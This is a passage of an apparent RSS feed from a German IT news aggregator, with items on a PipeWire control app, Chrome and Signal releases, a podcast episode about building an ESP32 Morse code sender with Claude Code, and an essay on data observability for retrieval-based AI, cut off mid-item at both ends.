href="https://www.reddit.com/r/linux/comments/1v40td6/vice_game_clipper_20_released_linux_medaltv/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[PipeWire-Controller Update- thanks everyone who tried it and gave feedback. I have an update for it later today or tomorrow. Currently testing. I really do appreciate the feedback and support. The app is extremely comprehensive in terms of what it can do]]></title>
<description><![CDATA[Here is a link to all the screenshots.https://www.reddit.com/r/linuxaudio/s/iyo0jZhYmd  Edit: here is an overview of what it can do control center for PipeWire — filter chains, HRIR virtual surround, drop-in config management, live patchbay, performance monitoring, virtual devices, routing snapsh...]]></description>
<link>https://tsecurity.de/de/3687874/linux-tipps/pipewire-controller-update-thanks-everyone-who-tried-it-and-gave-feedback-i-have-an-update-for-it-later-today-or-tomorrow-currently-testing-i-really-do-appreciate-the-feedback-and-support-the-app-is-extremely-comprehensive-in-terms-of-what-it-can-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687874/linux-tipps/pipewire-controller-update-thanks-everyone-who-tried-it-and-gave-feedback-i-have-an-update-for-it-later-today-or-tomorrow-currently-testing-i-really-do-appreciate-the-feedback-and-support-the-app-is-extremely-comprehensive-in-terms-of-what-it-can-do/</guid>
<pubDate>Thu, 23 Jul 2026 04:21:46 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Here is a link to all the screenshots.<a href="https://www.reddit.com/r/linuxaudio/s/iyo0jZhYmd">https://www.reddit.com/r/linuxaudio/s/iyo0jZhYmd</a> </p> <p>Edit: here is an overview of what it can do<br> control center for PipeWire — filter chains, HRIR virtual surround, drop-in config management, live patchbay, performance monitoring, virtual devices, routing snapshots, per-application policies and LADSPA/LV2 effect inserts</p> <p>Thanks everyone who came yesterday and tried my little app. I released the app on AUR yesterday and is available on github here (<a href="https://github.com/knightinfected/PipeWireController">https://github.com/knightinfected/PipeWireController</a>). The current version is 0.1.2 and some of the screenshots are from 0.2<br> I received a ton of negative comments and messages regarding my use of AI. I spent a lot of my time on this and well over did this project abit and english being my secondary language didnt help.<br> I have gone down this audio rabbit hole in linux and anyone else who has also done it knows how annoying it gets especially with reading the wikis to actual application.</p> <p>Anyhow I hope it helps someone out there and I will be updating it in the next day or later today as I am currently testing. Version 0.1.2 is available as of right now on GitHub though.</p> <p>There are too many features to list them out so I added lot of screenshots to help understand.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Infected_Knight"> /u/Infected_Knight </a> <br> <span><a href="https://i.redd.it/jdi3hjyh6veh1.jpeg">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v3wkkf/pipewirecontroller_update_thanks_everyone_who/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chrome for Android Update]]></title>
<description><![CDATA[ Hello Everyone! We've just released Chrome 151 (151.0.7922.47) for Android to a small percentage of users. It'll become available on Google Play over the next few days. You can find more details about early Stable releases here.This release includes stability and performance improvements. You ca...]]></description>
<link>https://tsecurity.de/de/3687836/it-security-nachrichten/chrome-for-android-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687836/it-security-nachrichten/chrome-for-android-update/</guid>
<pubDate>Thu, 23 Jul 2026 03:11:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p> Hello Everyone! We've just released Chrome 151 (151.0.7922.47) for Android to a small percentage of users. It'll become <a href="https://play.google.com/store/apps/details?id=com.android.chrome">available on Google Play</a> over the next few days. You can find more details about early Stable releases <a href="https://developer.chrome.com/blog/early-stable/">here</a>.</p>This release includes stability and performance improvements. You can see a full list of the changes in the <a href="https://chromium.googlesource.com/chromium/src/+log/150.0.7871.181..151.0.7922.47?pretty=fuller&amp;n=10000">Git log</a>. If you find a new issue, please let us know by <a href="https://code.google.com/p/chromium/issues/entry?template=Android%20Issue">filing a bug</a>.<br><br>Harry Souders<br><a href="https://www.google.com/chrome/">Google Chrome</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Next-Gen Telco Cloud Performance with AMD EPYC 9005 Series]]></title>
<description><![CDATA[5G-Advanced and Open RAN deployments demand ultra-low latency, power-efficient edge compute, and seamless integration of AI-augmented workloads. To help telecom operators solve these physical edge constraints and latency challenges, SUSE and AMD have released a validated Technical Reference Docum...]]></description>
<link>https://tsecurity.de/de/3687758/unix-server/next-gen-telco-cloud-performance-with-amd-epyc-9005-series/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687758/unix-server/next-gen-telco-cloud-performance-with-amd-epyc-9005-series/</guid>
<pubDate>Thu, 23 Jul 2026 01:17:47 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>5G-Advanced and Open RAN deployments demand ultra-low latency, power-efficient edge compute, and seamless integration of AI-augmented workloads. To help telecom operators solve these physical edge constraints and latency challenges, SUSE and AMD have released a validated Technical Reference Documentation (TRD). Running SUSE Telco Cloud on 5th Gen AMD® EPYC™ 9005 Series Processors delivers a robust, […]</p>
<p>The post <a href="https://www.suse.com/c/next-gen-telco-cloud-performance-with-amd-epyc/">Next-Gen Telco Cloud Performance with AMD EPYC 9005 Series</a> appeared first on <a href="https://www.suse.com/c">SUSE Communities</a>.</p>]]></content:encoded>
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<title><![CDATA[v8.21.0-beta.1]]></title>
<description><![CDATA[Additional small tweaks, bug fixes, and performance enhancements. Thanks for using Signal!]]></description>
<link>https://tsecurity.de/de/3687731/tools/v8210-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687731/tools/v8210-beta1/</guid>
<pubDate>Thu, 23 Jul 2026 00:55:44 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Additional small tweaks, bug fixes, and performance enhancements. Thanks for using Signal!</li>
</ul>]]></content:encoded>
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<title><![CDATA[Did you know you can use an AirPod to make an 'over-engineered frisbee stat tracker' that calculates spin and speed? No, of course you didn't — but someone's done it, and it works really well]]></title>
<description><![CDATA[Paul Tracer has created a smart Frisbee that records performance via an attached AirPod]]></description>
<link>https://tsecurity.de/de/3687692/it-nachrichten/did-you-know-you-can-use-an-airpod-to-make-an-over-engineered-frisbee-stat-tracker-that-calculates-spin-and-speed-no-of-course-you-didnt-but-someones-done-it-and-it-works-really-well/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687692/it-nachrichten/did-you-know-you-can-use-an-airpod-to-make-an-over-engineered-frisbee-stat-tracker-that-calculates-spin-and-speed-no-of-course-you-didnt-but-someones-done-it-and-it-works-really-well/</guid>
<pubDate>Thu, 23 Jul 2026 00:09:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Paul Tracer has created a smart Frisbee that records performance via an attached AirPod]]></content:encoded>
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<title><![CDATA[New to Linux? This 10-day checklist will help you settle in nice and easy]]></title>
<description><![CDATA[I wish I had followed this 10-day plan when I started using Linux 30 years ago.]]></description>
<link>https://tsecurity.de/de/3687586/it-nachrichten/new-to-linux-this-10-day-checklist-will-help-you-settle-in-nice-and-easy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687586/it-nachrichten/new-to-linux-this-10-day-checklist-will-help-you-settle-in-nice-and-easy/</guid>
<pubDate>Wed, 22 Jul 2026 23:03:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I wish I had followed this 10-day plan when I started using Linux 30 years ago.]]></content:encoded>
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<title><![CDATA[AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering]]></title>
<description><![CDATA[You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a ...]]></description>
<link>https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687580/it-nachrichten/ai-agents-arent-confidently-wrong-because-of-bad-context-theyre-wrong-because-of-bad-data-engineering/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.</p><p>This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.</p><h2>The failure that doesn't look like a failure </h2><p>An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.</p><p>So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.</p><p>I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. </p><p>Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.</p><h2>Why this is a data engineering problem</h2><p>Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.</p><p><b>Blaming the model: </b>The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.</p><p><b>Blaming the retrieval layer: </b>Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. </p><ul><li><p>AWS just<a href="https://venturebeat.com/data/aws-enters-the-context-layer-race-with-a-graph-that-learns-from-agents-not-manual-curation"> entered the "context layer" race</a> with a knowledge graph that learns from agent usage. </p></li><li><p>Snowflake's new Horizon Context and Cortex Sense target the exact symptom<a href="https://venturebeat.com/data/ai-agents-keep-giving-confident-wrong-answers-the-context-layer-is-enterprise-ais-next-production-problem"> this piece opened with</a>: agents giving confident wrong answers because nothing governs the business logic underneath them. </p></li></ul><p>Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.</p><p>The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. </p><h2>What's actually missing: Data observability</h2><p>Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.</p><p>Uber built a <a href="https://www.uber.com/in/en/blog/operational-excellence-data-quality/">dedicated data quality and observability platform</a> long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.</p><p>Netflix solved a different piece of the same problem, <a href="https://netflixtechblog.com/building-and-scaling-data-lineage-at-netflix-to-improve-data-infrastructure-reliability-and-1a52526a7977">building a company-wide data lineage system</a> so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.</p><p>Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.</p><p><b>Correctness:</b> Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like<a href="https://greatexpectations.io/"> Great Expectations</a> and <a href="https://soda.io/">Soda</a> handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.</p><p><b>Freshness:</b> Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.</p><p><b>Consistency:</b> Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.</p><p><b>Lineage:</b> Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. </p><p>None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.</p><p>At <a href="https://www.socure.com/">Socure</a>, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.</p><p>Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a <a href="https://aws.amazon.com/blogs/big-data/build-write-audit-publish-pattern-with-apache-iceberg-branching-and-aws-glue-data-quality/">write-audit-publish</a> pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.</p><p>The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.</p><h2>What to do Monday morning</h2><p>If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: </p><ul><li><p>Is the underlying data validated against the standards required by its consumers?</p></li><li><p>What's the oldest piece of content currently being served with high confidence?</p></li><li><p>Would two chunks of the same source ever disagree with each other in the same retrieval result?</p></li><li><p>Could you trace where it came from if it turned out to be wrong?</p></li></ul><p>If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.</p><p>Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. </p>]]></content:encoded>
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<title><![CDATA[Sunsetting Tor 0.4.8 – Please update to 0.4.9 by September]]></title>
<description><![CDATA[Hello Tor Community!
As you know, different teams inside the Tor Project are working on the Arti
Relay project where we hope to be able to begin the upgrade of the network
towards our Rust implementation of Tor in the near future. To support this
work, we would like to announce that we intend to ...]]></description>
<link>https://tsecurity.de/de/3687542/it-security-tools/sunsetting-tor-048-please-update-to-049-by-september/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687542/it-security-tools/sunsetting-tor-048-please-update-to-049-by-september/</guid>
<pubDate>Wed, 22 Jul 2026 22:34:49 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
